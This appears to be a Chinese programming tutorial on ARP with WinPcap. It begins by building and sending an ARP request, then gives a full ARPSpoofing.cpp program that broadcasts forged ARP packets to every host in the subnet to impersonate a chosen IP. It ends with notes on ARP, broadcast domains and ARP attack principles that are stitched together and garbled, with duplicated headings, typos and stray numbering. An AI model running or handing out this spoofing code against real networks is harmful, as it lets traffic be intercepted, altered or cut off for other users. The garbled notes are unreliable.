通过上一次的配置环境，现在就可以使用了，那么这里我们就先来发一个arp请求吧，这里建议大家安装一个wireshark（抓包工具，操作简单），以便于我们随时查看数据包，方便调试。
首先，我们需要知道的是，ARP是地址解析协议，工作在数据链路层，用来在一个局域网内获取一个IP的mac地址，当我们想要知道一个IP的MAC地址的时候，我们就向局域网广播一个arp请求，如果此IP为活动主机，则其就会回复一个arp应答，我们就是通过有没有收到arp应答来判断此ip主机是否为活动的。
按照上次文章所说的建立好工程，我建立的是简单的控制台程序，配好环境，写上需要的头文件，这里我们还需要#include"packet32.h"，#include "ntddndis.h"这两个头文件，我们会用到里面的一些东西。
先定义三个结构体，用来表示我们的包，以太网首部和arp包
//以太网首部 
struct ethernet_head
{
	unsigned char dest_mac[6];//目的MAC地址
	unsigned char source_mac[6];//源MAC地址
	unsigned short eh_type;//帧类型
};
//arp数据包
struct arp_head
{
	unsigned short hardware_type;//硬件类型
	unsigned short protocol_type;//协议类型
	unsigned char add_len;//硬件地址长度
	unsigned char pro_len;//协议地址长度
	unsigned short option;//操作类型，arp请求与应答，rarp请求与应答
	unsigned char sour_addr[6];//源MAC
	unsigned long sour_ip;//源IP
	unsigned char dest_addr[6];//目的MAC
	unsigned long dest_ip;//源IP
	unsigned char padding[18];//填充数据
};
//发送的数据包
struct arp_packet
{
	ethernet_head eth;//以太网首部
	arp_head arp;//arp包
};
这里有个问题需要主要，在vs中，由于编译的优化问题，结构体的大小不等于结构体中每个变量的大小和，这样在后面的使用会存在问题（将我们构造的数据包强转为char*数据和将收到数据强转回来时），主要原因可以看一下这位的这篇点击打开链接

这里可以这样设置，取消这种对齐项目->属性->C/C++->代码生成，结构成员对齐中设为1字节即可。
需要的变量：（不是所有都用了，有些是我用来做测试的，自己看着用吧）

pcap_if_t *alldevs;            //全部网卡列表 
pcap_if_t *d;                  //一个网卡 
int inum;                      //用户选择的网卡序号 
int i = 0;                       //循环变量 
pcap_t *adhandle;              //一个pcap实例 
char errbuf[PCAP_ERRBUF_SIZE]; //错误缓冲区 
unsigned char *mac;            //本机MAC地址 
unsigned char *packet;         //ARP包 
unsigned long sourceIP;          //要伪装成的IP地址 
unsigned long destIP;
pcap_addr_t *pAddr;            //网卡地址 
unsigned long ip;              //IP地址 
unsigned long netmask;         //子网掩码 
struct in_addr net_ip_address;//网卡IP信息,在pcap.h里面有定义  
struct in_addr net_mask_address;
char *net_ip_string;
char *net_mask_string;



1.获取本机网卡列表

if (pcap_findalldevs(&alldevs, errbuf) == -1)
	{
		cout << "Error in pcap_findalldevs:" << errbuf << endl;
	}


2.这里我们可以输出一下我们获取到的所有网卡信息，当然这在发送arp请求中不是必须的，但考虑到一个电脑可能有多个网卡，这时我们需要让用户选择自己想要用来发送arp请求的网卡


for (d = alldevs; d; d = d->next)
	{
		cout << ++i;
		if (d->description)
		{
			cout << "." << d->description << ";"<< d->addresses << endl;
		}
		else
			cout << ".No description available" << endl;
	}
	//如果没有网卡
	if (i == 0)
	{
		cout << "\nNo interfaces found! Make sure WinPcapis installed.\n" << endl;
		return -1;
	}
3.打开我们需要的那个网卡，这里我需要的就是第一个网卡，所以直接打开，如果你需要的是其它网卡，先用一个循环跳转到你需要的网卡（d->next表示下一个网卡信息：d=d->next）


d = alldevs; 
	if ((adhandle = pcap_open_live(d->name, 65536, 0, 1000, errbuf)) == NULL)
	{
		cout << "Unable to open the adapter." << d->name << " is not supported bu WinPcap" << endl;
		return -1;
	}
4.获取本机ip地址（这里为什么是pAddr->next->addr，很多地方直接是pAddr->addr，实际我在使用的时候，后者不行，获取的ip这些信息是空的，必须要先next，你们可以自己试试，原因布吉岛。。。。。。。。）


pAddr = d->addresses
ip = ((struct sockaddr_in *)pAddr->next->addr)->sin_addr.s_addr;
5.获取本机mac（这个函数自己实现的）


mac = GetSelfMac(alldevs->name);
unsigned char* GetSelfMac(char* pDevName)
{
	static u_char mac[6];
	LPADAPTER lpAdapter = PacketOpenAdapter(pDevName);
	if (!lpAdapter || (lpAdapter->hFile == INVALID_HANDLE_VALUE))
		return NULL;
	PPACKET_OID_DATA OidData = (PPACKET_OID_DATA)malloc(6 + sizeof(PACKET_OID_DATA));
	if(OidData == NULL)
	{
		PacketCloseAdapter(lpAdapter);
		return NULL;
	}

	OidData->Oid = OID_802_3_CURRENT_ADDRESS;
	OidData->Length = 6;
	memset(OidData->Data, 0, 6);
	BOOLEAN Status = PacketRequest(lpAdapter, FALSE, OidData);
	if (Status)
		memcpy(mac, (u_char*)(OidData->Data), 6);
	free(OidData);
	PacketCloseAdapter(lpAdapter);
	return mac;
}


6.构造包（函数自己实现），不修改vs的结构体对齐，这里就会出错

destIP = inet_addr("192.168.218.128");//我要探测的IP
packet = BuildArpPacket(mac, sourceIP, destIP);
unsigned char *BuildArpPacket(unsigned char* source_mac, unsigned long srcIP, unsigned long destIP)
{
	static struct arp_packet packet;

	//目的MAC地址为广播地址，FF-FF-FF-FF-FF-FF 
	memset(packet.eth.dest_mac, 0xFF, 6);
	//源MAC地址 
	memcpy(packet.eth.source_mac, source_mac, 6);
	//上层协议为ARP协议，0x0806 
	packet.eth.eh_type = htons(0x0806);
	//硬件类型，Ethernet是0x0001 
	packet.arp.hardware_type = htons(0x0001);
	//上层协议类型，IP为0x0800 
	packet.arp.protocol_type = htons(0x0800);
	//硬件地址长度：MAC地址长度为0x06 
	packet.arp.add_len = 0x06;
	//协议地址长度：IP地址长度为0x04 
	packet.arp.pro_len = 0x04;
	//操作：ARP请求为1 
	packet.arp.option = htons(0x0001);
	//源MAC地址 
	memcpy(packet.arp.sour_addr, source_mac, 6);
	//源IP地址 
	packet.arp.sour_ip = srcIP;
	//目的MAC地址，填充0 
	memset(packet.arp.dest_addr, 0, 6);
	//目的IP地址 
	packet.arp.dest_ip = destIP;
	//填充数据，18个字节
	memset(packet.arp.padding, 0, 18);

	return (unsigned char*)&packet;
}


7.发送数据包，这里之后，wireshark（以后我就叫他鲨鱼了）就能抓到数据包了
if (pcap_sendpacket(adhandle, packet, 60) == -1)
		{
			cout << "pcap_sendpacket error" << endl;
		}


至此，arp请求的发送完成，下次我们来看接收，通过对一个我们想要扫描的ip发送arp请求，如果收到了来自该ip的arp应答，则此ip的主机为活动主机

广播与广播域
广播：将广播地址做为目的地址的数据帧

广播域：网络中能接收到同一个广播所有节点的集合
MAC地址广播
广播地址为FF-FF-FF-FF-FF-FF
IP地址广播
1.255.255.255.255

2.广播IP地址为IP地址网段的广播地址，如192.168.1.255/24
ARP协议
将一个已知的IP地址解析为MAC地址
Windows系统中的ARP命令
-arp-a:查看ARP缓存表

-arp-d:清除ARP缓存

-arp-s：ARP绑定
ARP攻击或欺骗的原理是
通过发送伪造虚假的ARP报文（广播或单播）来实现的攻击或欺骗

如虚假报文的mac是伪造的不存在的，实现ARP攻击，结果为中断通信

如虚假报文的mac是攻击者自身的mac，实现ARP欺骗，结果可以监听、

窃取、篡改、控制流量，但不中断通信

地址解析协议，即ARP（Address Resolution Protocol），是根据IP地址获取物理地址的一个TCP/IP协议。主机发送信息时将包含目标IP地址的ARP请求广播到网络上的所有主机，并接收返回消息，以此确定目标的物理地址；收到返回消息后将该IP地址和物理地址存入本机ARP缓存中并保留一定时间，下次请求时直接查询ARP缓存以节约资源。地址解析协议是建立在网络中各个主机互相信任的基础上的，网络上的主机可以自主发送ARP应答消息，其他主机收到应答报文时不会检测该报文的真实性就会将其记入本机ARP缓存；由此攻击者就可以向某一主机发送伪ARP应答报文，使其发送的信息无法到达预期的主机或到达错误的主机，这就构成了一个ARP欺骗。ARP命令可用于查询本机ARP缓存中IP地址和MAC地址的对应关系、添加或删除静态对应关系等。相关协议有RARP、代理ARP。NDP用于在IPv6中代替地址解析协议。
鉴于ARP协议是一个链路层的协议，Windows Sockets无法控制，所以在掌握ARP的基础上，使用WinPcap编程实现ARP欺骗的基本功能。
基本代码如下：
// ARPSpoofing.cpp : 定义控制台应用程序的入口点。
//

#include "stdafx.h"
#include "pcap.h"
#include "packet32.h" 
#include "ntddndis.h"
#include "ARPSpoofing.h"


int main(int argc,char* argv[])
{
	pcap_if_t *alldevs;            //全部网卡列表 
	pcap_if_t *d;                  //一个网卡 
	int inum;                      //用户选择的网卡序号 
	int i=0;                       //循环变量 
	pcap_t *adhandle;              //一个pcap实例 
	char errbuf[PCAP_ERRBUF_SIZE]; //错误缓冲区 
	unsigned char *mac;            //本机MAC地址 
	unsigned char *packet;         //ARP包 
	unsigned long fakeIp;          //要伪装成的IP地址 
	pcap_addr_t *pAddr;            //网卡地址 
	unsigned long ip;              //IP地址 
	unsigned long netmask;         //子网掩码 

	/* 从参数列表中获得要伪装的IP地址 */
	if(argc!=2)
	{ 
		printf("Usage: %s inet_addr\n",argv[0]); 
		return -1; 
	}
	fakeIp = inet_addr(argv[1]);

	if(INADDR_NONE == fakeIp)
	{ 
		fprintf(stderr,"Invalid IP: %s\n",argv[1]); 
		return -1; 
	} 

	/* 获得本机网卡列表 */ 
	if(pcap_findalldevs(&alldevs, errbuf) == -1)
	{ 
		fprintf(stderr,"Error in pcap_findalldevs: %s\n", errbuf); 
		exit(1);
	} 
	for(d = alldevs; d; d = d->next) 
	{ 
		printf("%d", ++i); 
		if(d->description) 
		printf(". %s\n", d->description); 
		else 
		printf(". No description available\n"); 
	} 
	//如果没有发现网卡 
	if(i==0) 
	{ 
		printf("\nNo interfaces found! Make sure WinPcap is installed.\n"); 
		return -1; 
	} 
	//用户选择一个网卡 
	printf("Enter the interface number (1-%d):", i); 
	scanf_s("%d", &inum,sizeof(int)); 

	if(inum < 1 || inum > i) 
	{ 
		printf("\nInterface number out of range.\n"); 
		pcap_freealldevs(alldevs); 
		return -1; 
	}

	/* 移动指针到用户选择的网卡 */ 
	for(d=alldevs, i=0; i< inum-1 ;d=d->next, i++); 

	mac = GetSelfMac(d->name); //+8以去掉"rpcap://"
	if (mac == NULL)
	{ 
		printf("\n本地MAC地址获取失败.\n"); 
		return -1; 
	} 		

	printf("发送ARP欺骗包，本机(%.2X-%.2X-%.2X-%.2X-%.2X-%.2X) 试图伪装成%s\n",
		mac[0], mac[1], mac[2], mac[3], mac[4], mac[5], argv[1]); 

	/* 打开网卡 */ 
	if ((adhandle = pcap_open_live(d->name, // name of the device 
	                    65536,         // portion of the packet to capture 
						0,             // open flag 
						1000,          // read timeout 
						errbuf         // error buffer 
						) ) == NULL) 
	{ 
		fprintf(stderr,"\nUnable to open the adapter. %s is not supported by WinPcap\n", d->name);  
		pcap_freealldevs(alldevs); 
		return -1; 
	}

	for(pAddr = d->addresses; pAddr; pAddr=pAddr->next)
	{ 
		//得到用户选择的网卡的一个IP地址 
		ip = ((struct sockaddr_in *)pAddr->addr)->sin_addr.s_addr; 
		//得到该IP地址对应的子网掩码 
		netmask = ((struct sockaddr_in *)(pAddr->netmask))->sin_addr.S_un.S_addr; 

		if (!ip || !netmask)
		{ 
			continue; 
		}

		//看这个IP和要伪装的IP是否在同一个子网
		if((ip&netmask)!=(fakeIp&netmask))
		{ 
			continue;       //如果不在一个子网，继续遍历地址列表
		} 

		unsigned long netsize = ntohl(~netmask); //网络中主机数
		unsigned long net = ip & netmask;        //子网地址

		for(unsigned long n=1; n<netsize; n++)
		{ 
			//第i台主机的IP地址，网络字节顺序
			unsigned long destIp = net | htonl(n); 
			//构建假的ARP请求包，达到本机伪装成给定的IP地址的目的
			packet = BuildArpPacket(mac,fakeIp,destIp);

			if(pcap_sendpacket(adhandle, packet, 60)==-1)
			{ 
				fprintf(stderr,"pcap_sendpacket error.\n"); 
			} 
		}
		return 0;
	} 

	return 0; 
}

/** 
* 获得网卡的MAC地址 
* pDevName 网卡的设备名称 
*/ 
unsigned char* GetSelfMac(char* pDevName)
{ 
	static u_char mac[6]; 
	memset(mac,0,sizeof(mac)); 
	LPADAPTER lpAdapter = PacketOpenAdapter(pDevName); 

	if (!lpAdapter || (lpAdapter->hFile == INVALID_HANDLE_VALUE)) 
	{ 
		return NULL; 
	} 

	PPACKET_OID_DATA OidData = (PPACKET_OID_DATA)malloc(6 + sizeof(PACKET_OID_DATA)); 
	if (OidData == NULL) 
	{ 
		PacketCloseAdapter(lpAdapter); 
		return NULL; 
	} 
	// 
	// Retrieve the adapter MAC querying the NIC driver 
	// 
	OidData->Oid = OID_802_3_CURRENT_ADDRESS; 
	OidData->Length = 6; 
	memset(OidData->Data, 0, 6); 
	BOOLEAN Status = PacketRequest(lpAdapter, FALSE, OidData); 

	if(Status) 
	{ 
		memcpy(mac,(u_char*)(OidData->Data),6); 
	} 
	free(OidData); 
	PacketCloseAdapter(lpAdapter); 

	return mac; 
} 

	/*
	* 封装ARP请求包 
	* source_mac 源MAC地址 
	* srcIP 源IP 
	* destIP 目的IP 
	*/ 
	unsigned char* BuildArpPacket(unsigned char* source_mac, unsigned long srcIP,unsigned long destIP) 
	{ 
	static struct arp_packet packet; 

	//目的MAC地址为广播地址，FF-FF-FF-FF-FF-FF 
	memset(packet.eth.dest_mac, 0xFF, 6); 
	//源MAC地址 
	memcpy(packet.eth.source_mac, source_mac, 6); 
	//上层协议为ARP协议，0x0806 
	packet.eth.eh_type = htons(0x0806); 
	//硬件类型，Ethernet是0x0001 
	packet.arp.hardware_type = htons(0x0001); 
	//上层协议类型，IP为0x0800 
	packet.arp.protocol_type = htons(0x0800); 
	//硬件地址长度：MAC地址长度为0x06 
	packet.arp.add_len = 0x06; 
	//协议地址长度：IP地址长度为0x04 
	packet.arp.pro_len = 0x04; 
	//操作：ARP请求为1 
	packet.arp.option = htons(0x0001); 
	//源MAC地址 
	memcpy(packet.arp.sour_addr,source_mac,6); 
	//源IP地址 
	packet.arp.sour_ip = srcIP; 
	//目的MAC地址，填充0 
	memset(packet.arp.dest_addr,0,6); 
	//目的IP地址 
	packet.arp.dest_ip = destIP; 
	//填充数据，18个字节
	memset(packet.arp.padding,0,18); 

	return (unsigned char*)&packet; 
}

。。。
13 ARP工作原理:
Windows系统中ARP命令
广播与广播域
ARP协议
ARP工作原理
ARP协议的工作原理


13 ARP工作原理:
1.PC1想发送数据给PCc2，会先检查自己的ARP缓存表。

2.如果发现要查找的MAc地址不在表中，就会发送一个ARP请求广播，用于发现目的地的MAc地址。RARP请求消息中包括Pc1的IP地址和NAc地址以及Pc2的IP地址和目的MAc地址（此时为广播MAc地址FF-FF-FF-FF-EF-FF）。

3，19 3.交换机收到广播后做泛洪处理，除PCc1外所有主机收到ARP请求消息，Pc2以单播方式发送ARP应答，并在自己的EP表中缓存ARP表缓存的IP地址和MAC地址的对应关系，而且他主机则丢弃这个ARP请求

4.PC1在自己的 ARP表中添加 Pc2的IP地址和 MAc地址的对应关系，以单播方式与PC2通信。
Windows系统中ARP命令
arp   -a     查看arp缓存

arp   -d【ip】   清除arp缓存表

arp   -s  ip MAC   Apr静态绑定
广播与广播域
广播：将广播地址作为目的地址的数据帧

广播域：网络中能接受到同一个广播的所有结点的集合地址为：ff-ff-ff-ff-ff-ff-ff
ARP协议
在这里插入图片描述
ARP工作原理
1欺骗其他所以计算机

2欺骗被攻击计算机。
ARP协议的工作原理
我们以主机A（192.168.1.5）向主机B（192.168.1.1）发送数据为例。当发送数据时，主机A会在自己的ARP缓存表中寻找是否有目标IP地址。如果找到了，也就知道了目标MAC地址，直接把目标MAC地址写入帧里面发送就可以了；如果在ARP缓存表中没有找到相对应的IP地址，主机A就会在网络上发送一个广播，目标MAC地址是“FF.FF.FF.FF.FF.FF”，这表示向同一网段内的所有主机发出这样的询问：“192.168.1.1的MAC地址是什么？”网络上其他主机并不响应ARP询问，只有主机B接收到这个帧时，才向主机A做出这样的回应：“192.168.1.1的MAC地址是00-aa-00-62-c6-09”。这样，主机A就知道了主机B的MAC地址，它就可以向主机B发送信息了。同时它还更新了自己的ARP缓存表，下次再向主机B发送信息时，直接从ARP缓存表里查找就可以了。ARP缓存表采用了老化机制，在一段时间内如果表中的某一行没有使用，就会被删除，这样可以大大减少ARP缓存表的长度，加快查询速度。。